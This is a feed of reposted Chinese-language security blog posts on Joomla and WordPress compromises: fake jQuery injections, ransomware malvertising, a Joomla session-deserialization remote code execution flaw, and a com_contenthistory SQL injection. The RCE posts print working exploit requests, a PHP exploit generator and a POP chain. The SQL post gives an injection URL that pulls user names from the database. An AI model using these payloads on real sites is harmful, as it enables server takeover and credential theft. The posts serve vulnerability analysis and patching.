joomla漏洞 | 捕夢網 Blog https://blog.pumo.com.tw 網路安全、資安服務、雲端主機、主機租賃、主機代管、虛擬主機、網站代管專家 Fri, 08 Apr 2016 06:38:26 +0000 zh-TW hourly 1 https://wordpress.org/?v=6.5.5 WordPress and Joomla websites get hacked with fake jQuery https://blog.pumo.com.tw/archives/436 https://blog.pumo.com.tw/archives/436#respond Fri, 08 Apr 2016 06:38:26 +0000 http://blog.pumo.com.tw/?p=436 Hackers use the popular name of jQ...

The post WordPress and Joomla websites get hacked with fake jQuery first appeared on 捕夢網 Blog.

]]>
Hackers use the popular name of jQuery library to inject malicious code into websites powered by WordPress and Joomla.

JQuery is a very popular JavaScript library. The basic aim of this library is to erase the differences between implementations of JavaScript in various web browsers. If you have ever tried web coding you know how tedious it can be to make the code do the same thing in different browsers. Sometimes it is a really big challenge. In such situations, this library can be very useful.

Of course it is only a matter of time until such a well-known library gets the attention of those who want to use it for different purposes other than web coding. Fake jQuery injections have been very popular among hackers. And that brings us to one of the most popular infections of the last couple of months –  the attack that injects fake jQuery script into the head section of CMS websites powered by WordPress and Joomla.

What does it look like?

kod-421207-edited

The script is located right before the tag </head> so as a normal visitor you can’t notice anything unless you look into source code

 

At first glance you see simple code that is not obfuscated. There are only a few variables and one IF statement which inserts another JavaScript source. The only thing that is changing is "var base =", which points to another hacked website that serves as a source of injected malicious script, which brings us to the point of hacked domains.

domeny

Some of the hacked domains that are used as a source for malicious JS code

The number of hacked domains is abnormally high, which is why this kind of attack was and still is very popular on a daily basis. From November 2015 we registered over 4.5 million users who encountered this infection. Malicious code was found in almost 70 million unique files on hacked websites.

The code starts with a 10 milliseconds countdown. That is a common practice in injection-type coding but a longer delay than only 10 milliseconds is more typical.

After that, it begins to take shape. As you can see “encodeURIComponent” is used almost in every line. This function encodes special characters like: (, / ? : @ & = + $ #).

variablespng-831264-edited

All declared variables

if-860331-edited

 

Condition IF with (document.write)

The final condition checks if variables contain necessary values and after evaluation another source for script is inserted.

src_link-921777-edited

Example of injected URL after decoding is done by function (decodeURIComponent)

This URL is then used to increase SEO rank for other domains. Using referral page and backlinks makes it more valid.

chart-569041-edited

Simple chart to show activity for the last month

map-1-132212-edited

Map showing which regions malicious injection targets the most

What if I am already hacked?

Start with your local environment

You may think that if problem is on a website so you should look for a problem there, but in many cases the source of the infection can root to your local machine (i.e., desktop, notebook, etc).

Start with a full scan of your OS. This advice extends to Windows, OS X, and Linux machines.

Scan your website

There are various ways to do this. You can use an online malware-scan tool, which is easy-to-use and a quick way to get basic information.

You can also scan with Avast Antivirus or another antivirus program. Do not forget to unhide all files and folders before running the scan..

Caution: Make sure you don't delete the system files. You want to be mindful of the various types of symptoms and how they affect your website and its visitors. For instance, malicious redirects can often be found at the root of your website in files like .htaccess, and index.php, while others will focus on the themes directory targeting index.php, header.php, footer.php, and functions.php. Some infections can even live in MySQL databases and leave no trace at all in the files themselves.

Do a backup of what you still have

If your files and database are still there, postpone your investigation and do a backup. Be sure to label them as the hacked site backup, though. You never know when you can get to the point when you can find use for your hacked backup.

I can't log into my CMS admin panel

You should start with the basics: Reset your password. If its doesn't help, you can leverage tools like phpMyAdmin and Adminer to log into your database directly, bypassing your Admin login page and resetting your user in the users table.

There are two ways: Either you get a hash of your password and add this to the database directly, or edit your admin email and then try "forgot password".

Restore from your backup

When you have a clean backup and it is not too outdated, you are in a very good situation. Re-upload all your files and restore your database and you are good to go. Make sure you delete all files because you never know which file may contain some pieces of malicious code.

What if I have no backup?

You have basically two choices.

  1. You can start a new fresh site from scratch, or
  2. You can attempt to manually locate and remove the malicious code.

The second choice is a very tedious and hard process with no guarantees. Even if you are an expert, chances of completely cleaning your site are low. You can spend days looking through files, removing small snippets of hacker code, but if you miss one bit, the entire hack can be replaced by the hacker in a second once the site goes online.

If have not yet been hacked and have not backed up your site, you should do it right now.

What about your hosting provider?

You may think, why me? But there could be more websites with the same problem, especially if you use shared hosting. It is worth asking your hosting provider for some advice. It is very common that hosting providers run some community forum along with their services. These forums are the  best way to share your problem and experiences. Also this can be the fastest way to deal with a problem, because more people can be involved.

Your hosting provider might also be able to confirm if a hack is an actual hack or a loss of service.

Update!

Once you are clean, don’t forget to update your installation. Older versions are more prone to hacks than newer versions.

Now when it is all over, start keeping regular backups of your database and files. If this ever happens again, you will be prepared for this situation.

 

文章來源:https://blog.avast.com/wordpress-and-joomla-users-get-hacked-be-aware-of-fake-jquery

圖片來源:https://pixabay.com/

 

The post WordPress and Joomla websites get hacked with fake jQuery first appeared on 捕夢網 Blog.

]]>
https://blog.pumo.com.tw/archives/436/feed 0
勒索軟體從 WordPress 蔓延至 Joomla https://blog.pumo.com.tw/archives/367 https://blog.pumo.com.tw/archives/367#respond Thu, 10 Mar 2016 02:23:23 +0000 http://blog.pumo.com.tw/?p=367 某個在 WordPress 上出現的惡意廣告行動,目前正試圖擴大版圖...

The post 勒索軟體從 WordPress 蔓延至 Joomla first appeared on 捕夢網 Blog.

]]>
某個在 WordPress 上出現的惡意廣告行動,目前正試圖擴大版圖。據報導指出,歹徒正嘗試跨足不同平台,攻擊以 Joomla 架設的網站。根據資安研究人員 Brad Duncan 在網際網路風暴中心 (Internet Storm Center,簡稱 ISC) 網站上指出,在 WordPress上發動「admedia」攻擊行動的駭客團體目前正鎖定了一個新的目標,研究人員發現他們開始攻擊 Joomla 開放原始碼內容管理平台 (CMS)。

ransomware-joomla

2016 年 1 月,受感染的 WordPress 網頁被植入了 admedia iframe,不僅可能在電腦上安裝後門程式,更可能將網頁瀏覽者導向含有漏洞攻擊套件的惡意網域,進而感染 TeslaCrypt勒索軟體 Ransomware根據 Duncan 指出,此攻擊行動第一次被發現時是在目標網站上植入 Nuclear 漏洞攻擊套件,但現在已改成植入Angler 漏洞攻擊套件。除此之外,歹徒的閘道網址也開始改用「megaadvertize」這個網域。

不過,其基本技巧還是不變:遭到感染的網站將被駭客入侵,並且在其 .js 檔案當中嵌入駭客的腳本 (script)。由於網頁在執行 JavaScript 程式碼時需要用到這些檔案,因此會將使用者導向 admedia 閘道。換句話說,網頁產生的 iframe 會打開一道從受感染的網站通向漏洞攻擊套件的路徑,進而讓電腦被植入 TeslaCrypt 勒索軟體 Ransomware 。勒索軟體目前仍是歹徒向不知情的受害者勒索錢財非常有效的一種惡意程式,而其發展速度亦無減緩的跡象。

儘管研究人員表示 Joomla 網站的感染數量仍不能和 WordPress 相比,但網站管理員仍不可掉以輕心。駭客入侵正常網站然後將它當成攻擊管道的情況似乎越來越流行,基於使用者對網站的信賴,這可以讓駭客感染到許多不知情的使用者。我們建議網站管理員務必定期修補其內容管理系統,並且隨時注意可能危及其使用者的最新威脅。

文章來源:http://blog.trendmicro.com.tw/?p=16792

圖片來源:https://pixabay.com/

 

The post 勒索軟體從 WordPress 蔓延至 Joomla first appeared on 捕夢網 Blog.

]]>
https://blog.pumo.com.tw/archives/367/feed 0
Joomla 物件注入漏洞分析報告 https://blog.pumo.com.tw/archives/127 https://blog.pumo.com.tw/archives/127#respond Mon, 22 Feb 2016 04:04:01 +0000 http://blog.pumo.com.tw/?p=127 根據此次漏洞情況,Joomla官方已緊急放出了3.4.6版本。joo...

The post Joomla 物件注入漏洞分析報告 first appeared on 捕夢網 Blog.

]]>
根據此次漏洞情況,Joomla官方已緊急放出了3.4.6版本。joomla用戶除了儘快升級至最新版本,也可採用阿里雲安全團隊釋出的更為完善的修復方案,對網站進行強化,詳情可參考:0x03漏洞修復。

0x00 漏洞介紹

昨日,Joomla 安全團隊緊急發佈了 Joomla 3.4.6 版本,修復了一個高危 0day 漏洞。該漏洞影響了 1.5 到 3.4.5 的所有版本,漏洞利用無須登錄,直接在前臺即可執行任意PHP代碼。

0x01 漏洞利用

將惡意程式碼放在 User-Agent 或 X-Forwarded-For 中發送給網站,將網站返回的cookie值帶入第二個請求中,即可觸發漏洞。或是在第一個請求中指定cookie值,在第二次中帶上同樣cookie值也能觸發漏洞。

請求一:

GET / HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð
Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2

請求二:

GET / HTTP/1.1
Host: 127.0.0.1
Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2

如果執行成功,請求二的返回內容中會顯示phpinfo()的執行結果。

0x02 漏洞分析

在libraries/joomla/session/session.php檔中,joomla將HTTP_USER_AGENT和HTTP_X_FORWARDED_FOR直接存入到了session中

……
// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
    $this->set('session.client.forwarded',$_SERVER['HTTP_X_FORWARDED_FOR']);
……
// Check for clients browser
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
{
        $browser = $this->get('session.client.browser');
        if ($browser === null)
        {
            $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
        }
}

繼續跟進joomla對於session的處理方式,在 /libraries/joomla/session/storage.php 內 JSessionStorage 類中,利用session_set_save_handler重新實現了 session 存儲的read()和write()方法,從php手冊中得定義看到,read()、write()方法傳進和傳出的參數會分別自動進行序列化和反序列化,這一部分的序列化操作由PHP內核完成:

2015121608060684532

繼續跟入到read()和write()函數,代碼位於libraries/joomla/session/storage目錄中,從所有session存儲引擎的實現代碼中可以看到,joomla都沒有對 session 的value進行安全處理就進行了寫入操作。預設情況下,joomla使用了資料庫引擎對 session 進行存儲,這也是本漏洞可以成功利用的條件之一,構造exp時候,利用 Mysql 的字元截斷特性,最終寫入到資料庫中一個被破壞的不合法的反序列化物件,當這個物件被執行read()讀取時候,因為截斷字元的關係, PHP內核(PHP <= 5.6.13)在解析session.client.forwarded後面字串時,由於長度Check不一致,導致php_var_unserialize提前退出,返回false,PHP在上一次php_var_unserialize失敗的時候,會從之前的指標位置繼續開始下一輪key-value嘗試,在新一輪key-value嘗試中,PHP內核將攻擊者注入的"|"當成了分隔符號,進行key-value解析,進行反序列化導致物件方法被執行。

漏洞的本質原因有兩個,一個是php內核的session解析器bug導致的,另一個是mysql資料庫的字元截斷特性。如果使用的session存儲引擎不存在 Mysql 這樣的字元截斷特性,此漏洞就無法複現。我們測試該漏洞時,將joomla設定檔configuration.php中的$session_handler 配置為none,即使用檔案系統存儲session,發現漏洞無法成功利用。

0x03漏洞修復

Joomla官方已經在昨天緊急放出了3.4.6版本。比對代碼後發現,官方此次的升級補丁僅僅在 /libraries/joomla/session/session.php 中刪掉了將HTTP_USER_AGENT寫入SESSION變數中的代碼,增加了對 HTTP_X_FORWARDED_FOR 獲取到IP的合法性驗證,將此次公開的exp中的利用點修復掉了。但官方沒有對JSessionStorage 類中處理session的不安全方式進行修復,因此這個修復方式存在被繞過的可能。只要攻擊者尋找到新的可控SESSION值的位置,就可用同樣的構造方法觸發漏洞。

下面給出更為完善的修復方案:

修改 Joomla 根目錄 configuration.php ,把 $session_handler 的值改為none,會將session存儲引擎設為檔案系統。 把 PHP 版本升到到 5.6.13 或更高的版本。

登錄Joomla後臺把程式升級到 3.4.6 或更高的版本。

 

0x04 威脅現狀

統計資料顯示,截至16日淩晨,已有數百個惡意IP嘗試使用該漏洞對阿裡雲網站發起攻擊,雲盾已成功攔截上萬次攻擊請求,其中攻擊請求數排名第一的駭客在一小時內嘗試入侵超過1000個 Joomla 網站。

對攻擊者使用的攻擊payload分析,大部分攻擊者在第一個請求中都會插入類似 eval(base64_decode($_post[a])) 這樣的代碼,在第二個請求中嘗試向網站根目錄寫入一句話木馬。如果攻擊成功,網站將會被攻擊者完全控制。也有部分攻擊者使用的是網上公開的漏洞檢測payload,如 phpinfo(); 和 md5(233333); ,這些代碼一般不會對網站造成威脅。

相關連結:

https://www.joomla.org/announcements/release-news/5641-joomla-3-4-6-released.html

https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

https://github.com/80vul/phpcodz/blob/master/research/pch-031.md

文章來源:http://drops.wooyun.org/papers/11371
圖片來源:https://pixabay.com/

The post Joomla 物件注入漏洞分析報告 first appeared on 捕夢網 Blog.

]]>
https://blog.pumo.com.tw/archives/127/feed 0
Joomla遠端代碼執行漏洞分析 https://blog.pumo.com.tw/archives/118 https://blog.pumo.com.tw/archives/118#respond Mon, 22 Feb 2016 03:42:58 +0000 http://blog.pumo.com.tw/?p=118 捕夢網在此說明一下這個漏洞的影響、如何觸發以及利用方法。這個漏洞影響...

The post Joomla遠端代碼執行漏洞分析 first appeared on 捕夢網 Blog.

]]>
捕夢網在此說明一下這個漏洞的影響、如何觸發以及利用方法。這個漏洞影響Joomla 1.5 to 3.4全版本,並且利用漏洞無需登錄,只需要發送兩次封包即可(第一次:將session插入資料庫中,第二次發送同樣的資料包來取出session、觸發漏洞、執行任意代碼),後果是直接導致任意代碼執行。

0x00 漏洞點 —— 反序列化session

這個漏洞存在於反序列化session的過程中。

漏洞存在於libraries/joomla/session/session.php中,_validate函數,將ua和xff調用set方法設置到了session中(session.client.browser和session.client.forwarded)

protected function _validate($restart = false)
    {
        ...
 
        // Record proxy forwarded for in the session in case we need it later
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
        }
 
        ...
        // Check for clients browser
        if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
        {
            $browser = $this->get('session.client.browser');
 
            if ($browser === null)
            {
                $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
            }
            elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
            {
                // @todo remove code: $this->_state = 'error';
                // @todo remove code: return false;
            }

最終跟隨他們倆進入資料庫,session表:

2015121512202868031

正常情況下,不存在任何問題。因為我們控制的只是反序列化物件中的一個字串,不會觸發反序列相關的漏洞。 但是,因為一個小姿勢,導致後面我們可以控制整個反序列化物件。

0x01 利用|字元偽造,控制整個反序列化字串

首先看看pch-013: https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

和pch-013中的情況類似,joomla也沒有採用php自帶的session處理機制,而是用多種方式(包括database、memcache等)自己編寫了存儲session的容器(storage)。

 

其存儲格式為『鍵名 + 分隔號 + 經過 serialize() 函數反序列處理的值』,未正確處理多個分隔號的情況。

那麼,我們這裡就可以通過注入一個"|"符號,將它前面的部分全部認為是name,而|後面我就可以插入任意serialize字串,構造反序列化漏洞了。

2015121512205022510

 

但還有一個問題,在我們構造好的反序列化字串後面,還有它原本的內容,必須要截斷。而此處並不像SQL注入,還有注釋符可用。不知各位是否還記得當年wordpress出過的一個XSS,當時就是在插入資料庫的時候利用"%F0%9D%8C%86"字元將mysql中utf-8的欄位截斷了。

這裡我們用同樣的方法,在session進入資料庫的時候就截斷後面的內容,避免對我們反序列化過程造成影響。

 

0x02 構造POP執行鏈,執行任意代碼

在可以控制反序列化物件以後,只需建構一個能夠一步步調用的執行緒,即可進行一些危險的操作了。exp構造的執行緒,分別利用了如下類:

 

  1. JDatabaseDriverMysqli
  2. SimplePie

我們可以在JDatabaseDriverMysqli類的析構函數裡找到一處敏感操作:

public function __destruct()
{
    $this->disconnect();
}
...
public function disconnect()
{
    // Close the connection.
    if ($this->connection)
    {
        foreach ($this->disconnectHandlers as $h)
        {
            call_user_func_array($h, array( &$this));
        }
 
        mysqli_close($this->connection);
    }
 
    $this->connection = null;
}

當exp對象反序列化後,將會成為一個JDatabaseDriverMysqli類對象,不管中間如何執行,最後都將會調用__destruct,__destruct將會調用disconnect,disconnect裡有一處敏感函數:call_user_func_array。

但很明顯,這裡的call_user_func_array的第二個參數,是我們無法控制的。所以不能直接構造assert+eval來執行任意代碼。

於是這裡再次調用了一個物件:SimplePie類物件,和它的init方法組成一個回呼函數[new SimplePie(), ‘init’],傳入call_user_func_array。 跟進init方法:

function init()
    {
        // Check absolute bare minimum requirements.
        if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
        {
            return false;
        }
        ...
        if ($this->feed_url !== null || $this->raw_data !== null)
        {
            $this->data = array();
            $this->multifeed_objects = array();
            $cache = false;
 
            if ($this->feed_url !== null)
            {
                $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
                // Decide whether to enable caching
                if ($this->cache && $parsed_feed_url['scheme'] !== '')
                {
                    $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
                }

很明顯,其中這兩個call_user_func將是觸發代碼執行的元兇。 所以,我將其中第二個call_user_func的第一個參數cache_name_function,賦值為assert,第二個參數賦值為我需要執行的代碼,就構造好了一個『回檔後門』。

所以,exp是怎麼生成的?給出生成代碼:

<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
 
}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}
 
class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}
 
$a = new JDatabaseDriverMysqli();
echo serialize($a);

將這個代碼生成的exp,以前面提到的注入『|』的變換方式,帶入前面提到的user-agent中,即可觸發代碼執行。 其中,需要將char(0)*char(0)替換成\0\0\0,因為在序列化的時候,protected類型變數會被轉換成\0*\0name的樣式,這個替換在原始程式碼中也可以看到:

$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

建構的時候遇到一點小麻煩,那就是預設情況下SimplePie是沒有定義的,這也是為什麼在調用SimplePie之前先new了一個JSimplepieFactory的原因,因為JSimplepieFactory物件在載入時會調用import函數將SimplePie導入到當前工作環境:

2015121512205361071

 

而JSimplepieFactory有autoload,所以不再需要其他include來對其進行載入。 給出最終構造的POC(既是上訴php代碼生成的POC):

User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"ρhιτhσπpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆

給一張代碼成功執行的POC:

201512151250568219614501837463659

0x03 影響版本 & 修復方案

1.5 to 3.4全版本

更新到3.4.6版本

文章來源:http://drops.wooyun.org/papers/11330
圖片來源:https://pixabay.com/

The post Joomla遠端代碼執行漏洞分析 first appeared on 捕夢網 Blog.

]]>
https://blog.pumo.com.tw/archives/118/feed 0
Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析 https://blog.pumo.com.tw/archives/110 https://blog.pumo.com.tw/archives/110#respond Mon, 22 Feb 2016 02:53:32 +0000 http://blog.pumo.com.tw/?p=110 Joomla CMS發佈新版本3.4.5,該版本修復了一個高風險性的...

The post Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析 first appeared on 捕夢網 Blog.

]]>
Joomla CMS發佈新版本3.4.5,該版本修復了一個高風險性的SQL注入漏洞,3.2至3.4.4版本都受到影響。攻擊者透過該漏洞可以直接獲取獲取資料庫中機密資訊,甚至可以獲取已登入的管理員權限直接進入網站後臺。

 

0x01 原理分析

在Joomla CMS中有一個查看歷史編輯版本的元件(com_contenthistory),該功能照理應該只有管理員才能使用,但是由於開發人員的疏忽,導致該功能不需要特別的權限就能夠使用。通過訪問/index.php?option=com_contenthistory可以使得服務端載入歷史版本處理元件。程式流程會轉到/components/com_contenthistory/contenthistory.php文件中:

<?php
defined('_JEXEC') or die;    
 
$lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
||    $lang->load('com_contenthistory', JPATH_SITE, null, false, true);    
 
require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';

可以看到該元件載入時並沒有進行相關權限的監測,而Joomla中,一般的後台調用元件 (/administrator/components/下的元件) 都會進行元件對應的權限檢查,例如後台中的com_contact 元件

if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
{
    return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

但是,程式在處理contenthistory元件時,並沒有檢查權限,程式初始化並設置好元件相關配置後,包含檔案/administrator/components/com_contenthistory/contenthistory.php,其內容如下:

<?php
defined('_JEXEC') or die;    
 
$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();

程式初始化基於 contenthistory 元件的控制類 JControllerLegacy,然後直接調用控制類的 execute() 方法,在 execute() 方法中,會調用其控制類中的 display(),代碼位於 /libraries/legacy/controller/legacy.php:

public function display($cachable = false, $urlparams = array())
{
    $document = JFactory::getDocument();
    $viewType = $document->getType();
    $viewName = $this->input->get('view', $this->default_view);
    $viewLayout = $this->input->get('layout', 'default', 'string');    
 
    $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));    
 
    // Get/Create the model
    if ($model = $this->getModel($viewName))
    {
        // Push the model into the view (as default)
        $view->setModel($model, true);
    }
    (...省略...)
    if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
    { (...省略...) }
    else
    {
        $view->display();
    }    
 
    return $this;
}

處理常式從傳遞的參數中獲取 view 和 layout 的參數值進行初始化視圖,並且調用 $model = $this->getModel($viewName) 載入對應資料模型,最終會調用 $view->display() 函數進行視圖處理。

 

Joomla 新版本 3.4.5 中修復的SQL注入漏洞涉及的是歷史查看操作,也就是 view=history 時的程式處理會導致注入。在程式進行資料提取時,會進入 /administrator/components/com_contenthistory/models/history.php 檔中的 getListQuery() 函數:

protected function getListQuery()
{
    // Create a new query object.
    $db = $this->getDbo();
    $query = $db->getQuery(true);    
 
    // Select the required fields from the table.
    $query->select(
        $this->getState(
            'list.select',
            'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
            'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
        )
    )
    ->from($db->quoteName('#__ucm_history') . ' AS h')
    ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
    ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))    
 
    // Join over the users for the editor
    ->select('uc.name AS editor')
    ->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');    
 
    // Add the list ordering clause.
    $orderCol = $this->state->get('list.ordering');
    $orderDirn = $this->state->get('list.direction');
    $query->order($db->quoteName($orderCol) . $orderDirn);    
 
    return $query;
}

注意下面這段SQL語句構造部分:

$query->select(
    $this->getState(
        'list.select',
        'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
        'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
    )
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

其中 getState() 函數用於獲取模型的屬性和其對應的值,其函式定義位於 /ibraries/legacy/model/legacy.php:

public function getState($property = null, $default = null)
{
    if (!$this->__state_set)
    {
        // Protected method to auto-populate the model state.
        $this->populateState();    
 
        // Set the model state set flag to true.
        $this->__state_set = true;
    }    
 
    return $property === null ? $this->state : $this->state->get($property, $default);
}

然後會調用 populateState() 函數來初始化參數值和提取並過濾某些參數,在 contenthistory 組建中定義有自己的 populateState() 函數:

protected function populateState($ordering = null, $direction = null)
{
    (...省略...)
    // List state information.
    parent::populateState('h.save_date', 'DESC');
}

函數最後,會調用父類的 populateState() 函數,因為該資料模型繼承於 JModelList,所以父類相關代碼位於 /libraries/legacy/model/list.php 中,而在父類該函數的處理中會解析請求中傳遞的 list[] 參數,解析並過濾預設鍵的值,但是卻忽略了 list[select]:

protected function populateState($ordering = null, $direction = null)
{
    (...省略...)
        // Receive & set list options
        if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
        {
            foreach ($list as $name => $value)
            {
                // Extra validations
                switch ($name)
                {
                    case 'fullordering':
                        (...省略...)
                    case 'ordering':
                        (...省略...)
                    case 'direction':
                        (...省略...)
                    case 'limit':
                        (...省略...)
                    default:
                        $value = $value;
                        break;
                }    
 
                $this->setState('list.' . $name, $value);
            }
        }
    (...省略...)

而傳遞 list[select] 參數值最終會被解析到上述元件視圖進行處理時 SQL 語句構建中的 list.select 裡,從而導致了注入。

 

0x02 漏洞演示

通過上面簡單的分析,已經知道了受影響的Joomla版本中,contenthistory元件訪問不受許可權的控制,並且當進行view=history請求時會解析請求參數中 list[select] 的值拼接到SQL語句中。下面是該漏洞的簡單驗證和利用方法。

 

1.漏洞驗證

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1

因為在進行 SQL 語句拼接的時候,獲取了 list.ordering 進行資料查詢中的 order 操作,若不提供默認會將其設置為資料進行處理,相關處理位於 /libraries/joomla/database/driver.php 的 quoteName() 函數中。

 

因此,訪問上述構造的URL,伺服器會報錯:

2015102603113434189112

2.漏洞利用

因為在 SQL 語句拼接時,程式框架針對每個 from 或者 where 操作進行了換行處理,所以這裡並不能使用 #、– 等符號來注釋掉後面的語句,只能通過報錯注入進行資料提取。但是語句的成功執行有一定的前提條件,也就是傳遞的 item_id 和 type_id 參數值必須於資料庫中有效,同時傳遞 list[ordering] 參數 (空值即可),這樣注入的語句才能夠得到執行,從而進行報錯注入。

 

這裡經過多個漏洞網站的測試可以簡單的使用 item_id=1&type_id=1,當然了為了準確性和有效性,可以通過爆破的方式來得到這兩個參數的有效值,然後再進行注入操作。

(Tips:Joomla 中構造的 SQL 語句中 #_ 最終會在執行前被替換為表首碼)

 

下面是獲取用戶名/密碼雜湊的漏洞演示過程:

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

201510260313109957323

0x03 修復方案

從 https://github.com/joomla/joomla-cms/releases 獲取最新版本進行重新安裝;

從 https://github.com/joomla/joomla-cms/releases 下載相應版本的補丁程式進行升級;

 

0x04 總結

就 Joomla CMS 的用戶量來看,目前還有大量的網站的資料正受到該漏洞的威脅。該漏洞的產生本質上是由於存取控制的缺失和過濾不嚴格造成。存取控制的缺失導致本應只有管理員才能進行訪問和載入的 contenthistory 元件能夠被任意使用者訪問和載入,而參數的過濾不嚴格,導致攻擊者能夠構造出惡意的參數到執行流中產生注入。

原文地址:http://blog.knownsec.com/2015/10/joomla-cms-3-2-3-4-4-sql-injection-vulnerability/

文章來源:http://drops.wooyun.org/papers/9979

圖片來源:https://pixabay.com/

The post Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析 first appeared on 捕夢網 Blog.

]]>
https://blog.pumo.com.tw/archives/110/feed 0